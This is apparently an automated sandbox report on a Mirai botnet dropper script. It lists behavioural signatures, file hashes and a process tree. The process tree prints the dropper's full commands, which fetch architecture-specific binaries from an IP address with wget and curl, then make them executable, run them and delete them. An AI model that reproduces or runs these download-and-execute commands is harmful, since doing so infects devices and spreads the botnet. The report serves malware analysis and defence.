Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/07/2026, 02:05

General

  • Target
    45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
  • Size 2KB
  • Sample260706-chvx3acy8p
  • SHA256 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
    /tmp/45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
    1⤵
    • Executes dropped EXE
    PID:645
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:650
    • /usr/bin/wget
      wget http://94.154.43.77/ar-15/ar15.x86
      2⤵
      • Writes file to tmp directory
      PID:657
    • /usr/bin/curl
      curl -O http://94.154.43.77/ar-15/ar15.x86
      2⤵
      • Checks CPU configuration
      • Writes file to tmp directory
      PID:673
    • /bin/chmod
      chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.x86 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
      2⤵
      • File and Directory Permissions Modification
      PID:674
    • /tmp/ar15.x86
      ./ar15.x86 ar15.x86
      2⤵
        PID:675
      • /bin/rm
        rm -rf ar15.x86
        2⤵
          PID:677
        • /usr/bin/wget
          wget http://94.154.43.77/ar-15/ar15.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:678
        • /usr/bin/curl
          curl -O http://94.154.43.77/ar-15/ar15.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:683
        • /bin/chmod
          chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.mips busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
          2⤵
          • File and Directory Permissions Modification
          PID:702
        • /tmp/ar15.mips
          ./ar15.mips ar15.mips
          2⤵
          • System Network Configuration Discovery
          PID:704
        • /bin/rm
          rm -rf ar15.mips
          2⤵
          • System Network Configuration Discovery
          PID:707
        • /usr/bin/wget
          wget http://94.154.43.77/ar-15/ar15.arc
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://94.154.43.77/ar-15/ar15.arc
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arc busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/ar15.arc
          ./ar15.arc ar15.arc
          2⤵
            PID:732
          • /bin/rm
            rm -rf ar15.arc
            2⤵
              PID:734
            • /usr/bin/wget
              wget http://94.154.43.77/ar-15/ar15.i468
              2⤵
                PID:735
              • /usr/bin/curl
                curl -O http://94.154.43.77/ar-15/ar15.i468
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:736
              • /bin/chmod
                chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.i468 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                2⤵
                • File and Directory Permissions Modification
                PID:749
              • /tmp/ar15.i468
                ./ar15.i468 ar15.i468
                2⤵
                  PID:750
                • /bin/rm
                  rm -rf ar15.i468
                  2⤵
                    PID:752
                  • /usr/bin/wget
                    wget http://94.154.43.77/ar-15/ar15.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:754
                  • /usr/bin/curl
                    curl -O http://94.154.43.77/ar-15/ar15.i686
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:771
                  • /bin/chmod
                    chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.i686 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                    2⤵
                    • File and Directory Permissions Modification
                    PID:772
                  • /tmp/ar15.i686
                    ./ar15.i686 ar15.i686
                    2⤵
                      PID:773
                    • /bin/rm
                      rm -rf ar15.i686
                      2⤵
                        PID:775
                      • /usr/bin/wget
                        wget http://94.154.43.77/ar-15/ar15.x86_64
                        2⤵
                        • Writes file to tmp directory
                        PID:776
                      • /usr/bin/curl
                        curl -O http://94.154.43.77/ar-15/ar15.x86_64
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:777
                      • /bin/chmod
                        chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.x86_64 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                        2⤵
                        • File and Directory Permissions Modification
                        PID:778
                      • /tmp/ar15.x86_64
                        ./ar15.x86_64 ar15.x86_64
                        2⤵
                          PID:779
                        • /bin/rm
                          rm -rf ar15.x86_64
                          2⤵
                            PID:781
                          • /usr/bin/wget
                            wget http://94.154.43.77/ar-15/ar15.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:782
                          • /usr/bin/curl
                            curl -O http://94.154.43.77/ar-15/ar15.mpsl
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:783
                          • /bin/chmod
                            chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.mpsl busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                            2⤵
                            • File and Directory Permissions Modification
                            PID:784
                          • /tmp/ar15.mpsl
                            ./ar15.mpsl ar15.mpsl
                            2⤵
                              PID:785
                            • /bin/rm
                              rm -rf ar15.mpsl
                              2⤵
                                PID:788
                              • /usr/bin/wget
                                wget http://94.154.43.77/ar-15/ar15.arm
                                2⤵
                                • Writes file to tmp directory
                                PID:789
                              • /usr/bin/curl
                                curl -O http://94.154.43.77/ar-15/ar15.arm
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:790
                              • /bin/chmod
                                chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                                2⤵
                                • File and Directory Permissions Modification
                                PID:791
                              • /tmp/ar15.arm
                                ./ar15.arm ar15.arm
                                2⤵
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:792
                              • /bin/rm
                                rm -rf ar15.arm
                                2⤵
                                  PID:798
                                • /usr/bin/wget
                                  wget http://94.154.43.77/ar-15/ar15.arm5
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:799
                                • /usr/bin/curl
                                  curl -O http://94.154.43.77/ar-15/ar15.arm5
                                  2⤵
                                  • Checks CPU configuration
                                  • Writes file to tmp directory
                                  PID:800
                                • /bin/chmod
                                  chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm5 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:803
                                • /tmp/ar15.arm5
                                  ./ar15.arm5 ar15.arm5
                                  2⤵
                                    PID:804
                                  • /bin/rm
                                    rm -rf ar15.arm5
                                    2⤵
                                      PID:805
                                    • /usr/bin/wget
                                      wget http://94.154.43.77/ar-15/ar15.arm6
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:806
                                    • /usr/bin/curl
                                      curl -O http://94.154.43.77/ar-15/ar15.arm6
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:807
                                    • /bin/chmod
                                      chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm6 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:808
                                    • /tmp/ar15.arm6
                                      ./ar15.arm6 ar15.arm6
                                      2⤵
                                        PID:809
                                      • /bin/rm
                                        rm -rf ar15.arm6
                                        2⤵
                                          PID:810
                                        • /usr/bin/wget
                                          wget http://94.154.43.77/ar-15/ar15.arm7
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:811
                                        • /usr/bin/curl
                                          curl -O http://94.154.43.77/ar-15/ar15.arm7
                                          2⤵
                                          • Checks CPU configuration
                                          • Writes file to tmp directory
                                          PID:812
                                        • /bin/chmod
                                          chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm7 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:813
                                        • /tmp/ar15.arm7
                                          ./ar15.arm7 ar15.arm7
                                          2⤵
                                          • Modifies Watchdog functionality
                                          • Writes file to system bin folder
                                          • Reads runtime system information
                                          PID:814
                                        • /bin/rm
                                          rm -rf ar15.arm7
                                          2⤵
                                            PID:820
                                          • /usr/bin/wget
                                            wget http://94.154.43.77/ar-15/ar15.ppc
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:821
                                          • /usr/bin/curl
                                            curl -O http://94.154.43.77/ar-15/ar15.ppc
                                            2⤵
                                            • Checks CPU configuration
                                            • Writes file to tmp directory
                                            PID:822
                                          • /bin/chmod
                                            chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.ppc busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:823
                                          • /tmp/ar15.ppc
                                            ./ar15.ppc ar15.ppc
                                            2⤵
                                              PID:824
                                            • /bin/rm
                                              rm -rf ar15.ppc
                                              2⤵
                                                PID:826
                                              • /usr/bin/wget
                                                wget http://94.154.43.77/ar-15/ar15.spc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:827
                                              • /usr/bin/curl
                                                curl -O http://94.154.43.77/ar-15/ar15.spc
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:830
                                              • /bin/chmod
                                                chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.spc busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:831
                                              • /tmp/ar15.spc
                                                ./ar15.spc ar15.spc
                                                2⤵
                                                  PID:832
                                                • /bin/rm
                                                  rm -rf ar15.spc
                                                  2⤵
                                                    PID:834
                                                  • /usr/bin/wget
                                                    wget http://94.154.43.77/ar-15/ar15.m68k
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:835
                                                  • /usr/bin/curl
                                                    curl -O http://94.154.43.77/ar-15/ar15.m68k
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:836
                                                  • /bin/chmod
                                                    chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.m68k busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:837
                                                  • /tmp/ar15.m68k
                                                    ./ar15.m68k ar15.m68k
                                                    2⤵
                                                      PID:838
                                                    • /bin/rm
                                                      rm -rf ar15.m68k
                                                      2⤵
                                                        PID:840
                                                      • /usr/bin/wget
                                                        wget http://94.154.43.77/ar-15/ar15.sh4
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:841
                                                      • /usr/bin/curl
                                                        curl -O http://94.154.43.77/ar-15/ar15.sh4
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Writes file to tmp directory
                                                        PID:842
                                                      • /bin/chmod
                                                        chmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.sh4 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:843
                                                      • /tmp/ar15.sh4
                                                        ./ar15.sh4 ar15.sh4
                                                        2⤵
                                                          PID:844
                                                        • /bin/rm
                                                          rm -rf ar15.sh4
                                                          2⤵
                                                            PID:846

                                                        Network

                                                              MITRE ATT&CK Enterprise v16

                                                              Replay Monitor

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                                                              Downloads

                                                              ar15.x86

                                                              • Path /tmp/ar15.x86
                                                              • Size 38KB
                                                              • SHA256 f6ed1f773e7555647b59fe502cf4e9f37a40c26aa14e3bd69665c19a596f2cc3
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                              busybox

                                                              • Path /tmp/busybox
                                                              • Size 507KB
                                                              • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH